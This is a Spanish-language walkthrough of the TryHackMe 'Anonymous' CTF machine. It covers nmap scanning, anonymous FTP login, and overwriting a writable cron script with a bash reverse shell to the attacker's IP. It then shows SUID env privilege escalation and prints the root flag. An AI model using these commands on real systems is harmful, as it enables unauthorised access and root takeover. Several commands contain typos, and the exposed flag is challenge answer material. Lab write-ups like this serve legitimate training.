



# ANONYMOUS

TRYHACKME | Resolución de la Máquina ANONYMOUS - HACKING ÉTICO [CTF]

Resolución paso a paso de la máquina Anonymouus de TryHackMe, una máquina ideal para comprender el funcionamiento del protocolo FTP y también de cómo no debe estar configurado si queremos mantener un sistema seguro.

<https://youtu.be/HEwfgdLUXFg?si=5j5Mi8FJMymnGAFc>



<https://medium.com/@patelaksht24/tryhackme-anonymous-walkthrough-83559baeb880>



Machine: Medium

IP: 10.10.43.86

Bueno como siempre lo primero que hacemos es comprobar si tenemos conectividad con la maquina

```
(root@Kali-Linux)-[/home/santo]
# ping -c 1 10.10.43.86
PING 10.10.43.86 (10.10.43.86) 56(84) bytes of data.
64 bytes from 10.10.43.86: icmp_seq=1 ttl=63 time=71.5 ms

— 10.10.43.86 ping statistics —
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 71.494/71.494/71.494/0.000 ms
```

como podemos ver si que tenemos conectividad

Una vez ya comprobado que tenemos conectividad con la maquina vamos a iniciar la fase de Enumeración, para ello la vamos hacer con nmap

```
(root@Kali-Linux)-[/home/santo/Tryhackme/Anonymous/nmap]
# nmap -p- -sS -p- -sC -oN -nmap-rate 5000 -n -p- -vvv 10.10.43.86 -oN allports
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-17 05:30 CET
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 05:30
Completed NSE at 05:30, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 05:30
Completed NSE at 05:30, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 05:30
Completed NSE at 05:30, 0.00s elapsed
Initiating SYN Stealth Scan at 05:30
Scanning 10.10.43.86 [65535 ports]
Discovered open port 139/tcp on 10.10.43.86
Discovered open port 21/tcp on 10.10.43.86
Discovered open port 22/tcp on 10.10.43.86
Discovered open port 445/tcp on 10.10.43.86
Completed SYN Stealth Scan at 05:30, 15.63s elapsed (65535 total ports)
Initiating Service scan at 05:30
```

Como podemos ver aquí en la enumeración el puerto 21 el FTP esta abierto, pero además de abierto esta corriendo el servicio (Anonymous FTP login allowed) Esto lo que se significa que un servidor FTP permite el acceso sin necesidad de un usuario ni contraseña específicos.

```

PORT      STATE SERVICE      REASON      VERSION
21/tcp    open  ftp          syn-ack ttl 63 vsftpd 2.0.8 or later
|
| ftp-syst:
| STAT:
| FTP server status:
|   Connected to ::ffff:10.8.65.175
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   At session startup, client count was 1
|   vsFTPd 3.0.3 - secure, fast, stable
|_ End of status
ftp-anon: Anonymous FTP login allowed (FTP code 230)
drwxrwxrwx  2 111  113  4096 Jun 04  2020 scripts [NSE: writeable]

```

Así que vamos a probar si realmente el (Anonymous FTP login) funciona, para ello lo vamos hacer de la siguiente manera

```

root@Kali-Linux:~/home/santo/Tryhackme/Anonymous/nmap
# ftp 10.10.43.86
Connected to 10.10.43.86.
220 NamelessOne's FTP Server!
Name (10.10.43.86:santo): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||15371|)
150 Here comes the directory listing.
drwxrwxrwx  2 111  113  4096 Jun 04  2020 scripts
226 Directory send OK.
ftp>

```

Y como podemos ver si que pudimos entrar sin proporcionar contraseña, solo basto con poner el usuario Anonymous

Ahora nos empezamos a mover en la maquina y como podemos observar dentro del directorio `scripts` hay 3 archivos

```

230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||15371|)
150 Here comes the directory listing.
drwxrwxrwx  2 111  113  4096 Jun 04  2020 scripts
226 Directory send OK.
ftp> cd scripts
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||13611|)
150 Here comes the directory listing.
-rwxr-xrwx  1 1000  1000  314 Jun 04  2020 clean.sh
-rw-rw-r--  1 1000  1000 1634 Mar 17 04:47 removed_files.log
-rw-r--r--  1 1000  1000   68 May 12  2020 to_do.txt

```

Ahora como podríamos nosotros acceder a estos archivos?

Pues ahora lo que vamos hacer es descargarnos estos archivos en nuestra maquina, para ello hay un comando el `mget *` con este comando podemos descargar archivos que estén dentro de un servidor FTP en nuestra maquina local, el `*` esta representando la totalidad de los archivos que están actualmente en este directorio

```

ftp> ls
229 Entering Extended Passive Mode (|||14800|)
150 Here comes the directory listing.
-rwxr-xrwx  1 1000  1000          314 Jun 04 2020 clean.sh
-rw-rw-r--  1 1000  1000        1161 Jun 11 18:15 removed_files.log
-rw-r--r--  1 1000  1000          68 May 12 2020 to_do.txt
226 Directory send OK.
ftp> mget *
mget clean.sh [anpqy?]? y
229 Entering Extended Passive Mode (|||35008|)
150 Opening BINARY mode data connection for clean.sh (314 bytes).
100% |*****| 314
226 Transfer complete.
314 bytes received in 00:00 (6.14 KiB/s)
mget removed_files.log [anpqy?]? y
229 Entering Extended Passive Mode (|||26801|)
150 Opening BINARY mode data connection for removed_files.log (1204 bytes).
100% |*****| 1204
226 Transfer complete.
1204 bytes received in 00:00 (27.71 KiB/s)
mget to_do.txt [anpqy?]? y
229 Entering Extended Passive Mode (|||19604|)
150 Opening BINARY mode data connection for to_do.txt (68 bytes).
100% |*****| 68
226 Transfer complete.
68 bytes received in 00:00 (0.62 KiB/s)

```

```

(root@Kali-Linux)-[/home/santo/Tryhackme/Anonymous/content]
# ls
clean.sh  removed_files.log  to_do.txt

```

Y así es como ya tendríamos los archivos en nuestra maquina

Bien entonces vamos a proceder a abrir todos los archivos pa ver que encontramos, en el archivo `clean.sh` encontramos un código

```

(root@Kali-Linux)-[/home/santo/Tryhackme/Anonymous/content]
# cat clean.sh
#!/bin/bash

tmp_files=0
echo $tmp_files
if [ $tmp_files=0 ]
then
    echo "Running cleanup script: nothing to delete" >> /var/ftp/scripts/removed_files.log
else
    for LINE in $tmp_files; do
        rm -rf /tmp/$LINE 66 echo "$(date) | Removed file /tmp/$LINE" >> /var/ftp/scripts/removed_files.log;done
    fi
fi

```

Y como en la enumeración anterior vimos que además del login Anonymous también tenemos permisos de escritura, por lo cual podríamos programar un código que lo que haga es que nos cree una revershell así que eso es lo que vamos a hacer

```

vsftpd 3.0.3 - secure, fast, stable
_ _ _ _ _
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx  2 111  113          4096 Jun 04 2020 scripts [NSE: writeable]
22/tcp open  ssh          syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:

```

Así que vamos a editar el archivo este de `clean.sh` con el siguiente código

```

GNU nano 8.3
#!/bin/bash

bash -i >& /dev/tcp/10.8.65.175/443 0>61

```

```

(root@Kali-Linux)-[/home/santo/Tryhackme/Anonymous/content]
# cat clean.sh
#!/bin/bash

bash -i >& /dev/tcp/10.8.65.175/443 0>61

```

Entonces ahora nos volvemos a conectar a el servicio FTP de la maquina

```
(root@Kali-Linux)-[/home/santo/Tryhackme/Anonymous/content]# ftp 10.10.43.86
Connected to 10.10.43.86.
220 NamelessOne's FTP Server!
Name (10.10.43.86:santo): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd scripts
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||21231|)
150 Here comes the directory listing.
-rwxr-xrwx  1 1000    1000      314 Jun 04  2020 clean.sh
-rw-rw-r--  1 1000    1000     2924 Mar 17 05:17 removed_files.log
-rw-r--r--  1 1000    1000      68 May 12  2020 to_do.txt
226 Directory send OK.
ftp>
```

Y ahora vamos PUT, el comando `put` se usa para subir archivos desde el cliente al servidor.

Cuando un usuario tiene permisos de escritura en un servidor FTP, puede usar el comando `PUT` para enviar un archivo desde su computadora al servidor como es en nuestro caso, así que eso es lo que vamos hacer

```
ftp> put clean.sh
local: clean.sh remote: clean.sh
229 Entering Extended Passive Mode (|||16758|)
150 Ok to send data.
100% |*****|
226 Transfer complete.
55 bytes sent in 00:00 (0.37 KiB/s)
ftp> ls
229 Entering Extended Passive Mode (|||33323|)
150 Here comes the directory listing.
-rwxr-xrwx  1 1000    1000      55 Mar 17 05:21 clean.sh
-rw-rw-r--  1 1000    1000    3096 Mar 17 05:21 removed_files.log
-rw-r--r--  1 1000    1000      68 May 12  2020 to_do.txt
226 Directory send OK.
ftp>
```

Y ahora nuestro código ya se a subido a la maquina y a sobrescrito el que estaba anteriormente

Bien entonces si ahora nosotros nos ponemos en escucha con netcat y como el código se ejecuta cada cierto periodo de tiempo pues en cualquier momento vamos a recibir una shell reversa

```
(root@Kali-Linux)-[/home/santo/Tryhackme/Anonymous/content]# nc -lvnp 443
listening on [any] 443 ...
connect to [10.8.65.175] from (UNKNOWN) [10.10.43.86] 38530
bash: cannot set terminal process group (1656): Inappropriate ioctl for device
bash: no job control in this shell
namelessone@anonymous:~$ ls /home/santo/Tryhackme/Anonymous/content
ls
pics
user.txt
namelessone@anonymous:~$
```

Y así es como tendríamos una shell

Ahora hay que hacer algo que es muy importante que es el tratamiento de TTI, esto lo hacemos de la siguiente manera

```
script /dev/null -c bash
```

Ahora hacmos un Ctrl + Z

```
stty raw -echo: fg
```

reset

xterm

```
(root@kali)~/home/kali/Desktop
# nc -nlvp 444
listening on [any] 444 ...
connect to [10.8.100.91] from (UNKNOWN) [10.10.66.97] 52984
bash: cannot set terminal process group (1373): Inappropriate ioctl for device
bash: no job control in this shell
namelessone@anonymous:~$ clear
clear
TERM environment variable not set.
namelessone@anonymous:~$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
namelessone@anonymous:~$ ^Z
zsh: suspended nc -nlvp 444

(root@kali)~/home/kali/Desktop
# stty raw -echo; fg
[1] + continued nc -nlvp 444
reset
reset: unknown terminal type unknown
Terminal type? xterm
```

Ahora hay que exportar dos variables de entorno

```
export TERM=xterm
export SHELL=bash
```

```
namelessone@anonymous:~$ export TERM=xterm
namelessone@anonymous:~$ export SHELL=bash
```

bien ahora ya esta hecho el tratamiento de la TTY

## ESCALADA DE PRIVILEGIOS

Lo que vamos hacer en este caso es ir a el grano, lo que vamos hacer es una búsqueda en toda la maquina de binarios

```
find / -perm -4000 2>/dev/null
```

```

namelessone@anonymous:~$ find / -perm -4000 2>/dev/null
/snap/core/8268/bin/mount
/snap/core/8268/bin/ping
/snap/core/8268/bin/ping6
/snap/core/8268/bin/su
/snap/core/8268/bin/umount
/snap/core/8268/usr/bin/chfn
/snap/core/8268/usr/bin/chsh
/snap/core/8268/usr/bin/gpasswd
/snap/core/8268/usr/bin/newgrp
/snap/core/8268/usr/bin/passwd
/snap/core/8268/usr/bin/sudo
/snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/8268/usr/lib/openssh/ssh-keysign
/snap/core/8268/usr/lib/snapd/snap-confine
/snap/core/8268/usr/sbin/pppd
/snap/core/9066/bin/mount
/snap/core/9066/bin/ping
/snap/core/9066/bin/ping6
/snap/core/9066/bin/su
/snap/core/9066/bin/umount
/snap/core/9066/usr/bin/chfn
/snap/core/9066/usr/bin/chsh
/snap/core/9066/usr/bin/gpasswd
/snap/core/9066/usr/bin/newgrp
/snap/core/9066/usr/bin/passwd
/snap/core/9066/usr/bin/sudo
/snap/core/9066/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/9066/usr/lib/openssh/ssh-keysign
/snap/core/9066/usr/lib/snapd/snap-confine
/snap/core/9066/usr/sbin/pppd
/bin/umount
/bin/fusemount

```

```

/usr/lib/eject/dmccrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/env
/usr/bin/gpasswd
/usr/bin/newuidmap

```

De todos lo binarios este en especial me llama la atencion

Así que con la ayuda de esta herramienta <https://gtfobins.github.io/> vamos a ver si tiene un método para escalar privilegios en `/env`

**.. /env** ☆ Star 11,361

Shell SUID Sudo

## Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

```
env /bin/sh
```

## SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

```
sudo install -m -xs $(which env) .
./env /bin/sh -p
```

## Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo env /bin/sh
```

Y aquí como vemos nos dice que si encontramos `/env` con los SUID ósea en los binarios podemos ejecutar ese código para escalar los privilegios, así que eso es lo que vamos hacer

## SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

```
sudo install -m =xs $(which env) .  
./env /bin/sh -p
```


Y así es como ya seríamos usuario root y tendríamos el control absoluto de la maquina

```
namelessone@anonymous:/$ /usr/bin/env /bin/sh -p  
# whoami  
root  
#
```






Esta seria la flag, así que con esto y un biscocho, hasta mañana a las 8.

```
# whoami  
root  
# cd /root  
# ls+  
/bin/sh: 3: ls+: not found  
# ls  
root.txt  
# cat root.txt  
4d930091c31a622a7ed10f27999af363  
#
```

## Maquina completada



Congratulations on completing Anonymous!!! 🎉

Points earned  180	Completed tasks  1	Room type  Challenge	Difficulty  Medium	Streak  6
--	--	--	--	---